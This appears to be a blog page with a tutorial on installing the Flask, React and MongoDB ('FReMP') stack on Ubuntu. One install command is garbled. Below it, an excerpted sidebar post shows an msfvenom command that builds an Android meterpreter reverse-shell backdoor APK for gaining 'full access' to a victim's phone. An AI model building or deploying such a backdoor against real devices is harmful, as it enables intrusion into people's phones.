Skip to main content

How to install the FReMP Stack on Ubuntu 20.04?

Technology keeps on evolving everyday and developers constantly look for more and more things to get their hands-on. In this article, I will be introducing a new full stack framework, called FReMP. The abbreviation used is not the best one, but it just gets the work done in justifiable ways.



What on earth is FReMP stack?

The FReMP stack is a highly scalable full stack framework, which can be used to build awesome web apps. The acronym stands for Flask, ReactJS, Mongodb and Python. Unlike other famous stacks such as MEAN and MERN, the FReMP stack uses Python to handle back-end operations. Examples of such operations can be machine learning and artificial intelligence operations, web scraping tools or digital image processing.

Step 0: Update your list of installed packages

While this is optional, it is always a good practice to update your list of packages and upgrade them for newer versions before starting any installation on your environment. Run the following to do so:

$ apt-get update
$ apt-get upgrade

Step 1: Install Python3/Flask

Our first step in install FReMP, is to install Flask, which famously known as Python’s micro web framework. I, personally, think that Flask perfectly suits this description. Since Python has been deprecated and taken over by Python3, we will proceed by installing Python3 and use PIP3 to install the required packages.

$ apt-get install python3
$ apt-get in
Restall python3-pip
$ sudo -H pip3 install flask
$ flask --version

If you can see the version without any error, it means Flask has been successfully installed on your machine and that you are good to go. Please note that at the time of this writing, the latest version of Flask is 1.1.1 and latest version of Python is 3.8.2

Step 2: Install ReactJS

The second step is to install ReactJS. We need to make sure NodeJS is installed, then use NPM, which is a package manager for node, to install npx. We will then use NPX to create the react front-end folder.

$ apt-get install nodejs
$ sudo npm install -g yarn
$ sudo npm install -g npx
$ yarn --version
$ npx --version

In this tutorial, we will use Yarn, which is an alternative to NPM and is considered faster. You may omit this installation and proceed with NPM is you want to. Again, if you can see the version of npx without any error, it means you are good to go.

Step 3: Install Mongodb

The final step to get FReMP installed, is to install Mongodb, the famous document database with the high scalability and flexibility.

$ apt-get install mongodb
$ mongo --version

If you can see the version of your mongo shell with no errors, it means mongodb has been installed successfully on your machine. By default the service will be on. If the service happens to be off at a point, you can just start it by running:

$ sudo service mongodb start
$ sudo service mongodb status

That’s it! You now have FReMP installed on your machine.

Stay tuned for the next part, which will be a tutorial about building a simple app using the FReMP stack. In the meantime, you can check our this article.

Cheers! (:

Comments

Popular posts from this blog

Learn how to make an auto login bot with Autoit

Start by creating a new directory and make an autoit script. Edit the script and include IE.au3:
#include 
Suppose we're writing a script which will allow a anyone to sign in his facebook on a scheduled time automatically.
It's simple, don't panic!
You need to call a function with any name you want. Let's take loginfb()!
call ("loginfb") So, we only have to write the function loginfb now!
Func loginfb()
Global $oIE = _IECreate ("https://www.facebook.com/")

Local $username = _IEGetObjByName ($oIE, "email")
Local $password = _IEgetObjByName ($oIE, "pass")
Local $button = _IEGetObjById ($oIE, "loginbutton")

_IEFormElementSetValue ($username, "") // your email here!
_IEFormElementSetValue ($password, "") //your fb password here!
Send("{Enter}")
EndFunc
$username and $password are variables. "email" and "pass" are the names given to the textarea where you are to write your emai…

[Android + msf]How to use Metasploit Framework on an Android Device?

Metasploit Framework(msf)
Requirements:
Linux-based OSYou'll need to have msfconsole installed on your machine
You'll need to have msfvenom correctly installed on the machine. This will be used to generate the backdoor. Install apktool as well.Note: This tutorial is meant for educational purposes only. Please don't misguide the purpose of this tutorial, you'll be responsible for any act of Hacking or theft.
Steps1) First of all open up your terminal. (Ctrl + Alt + T)
$ sudo apt-get update Update your repositories before starting.

2) Once updated, we can start. Simply follow the steps below to get started:
$ sudo msfvenom -p android/meterpreter/reverse_tcp LHOST='xxx.xxx.x.x' LPORT='xxxx' R > testfile.apk Replace "testfile" with any name you want. This will be the Main Activity, which when tapped on your android device will activate meterpreter on your terminal and let you gain full access to the victims android phone.

You can check out the archit…

[Python]Publish your python project to PyPI

The Python Package Index, also known as PyPI, is a large repository of python packages. Millions of developers all around the world contribute to Python daily by creating python scripts and uploading to PyPI.

In this blog post, I am going to write a simple python script that, on running, will print Hello World on the terminal. Then, going to upload this script to PyPI so that it can be installed on any platform easily using pip or pip3.

Requirements:
1. Github account
2. Basic knowledge of python
3. setuptools - (pip3 install setuptools)
4. wheel - (pip3 install wheel)

By the end of this blog post, you should be able to print hello world using a single command:


Let's get started! The first thing to do is find a unique name for your project. The name that I will call the Hello World script will be print_hello_world. At the time that I am writing this post, there is not package called print_hello_world on PyPI. Logically, after doing this tutorial, there might be one.

1. Create app f…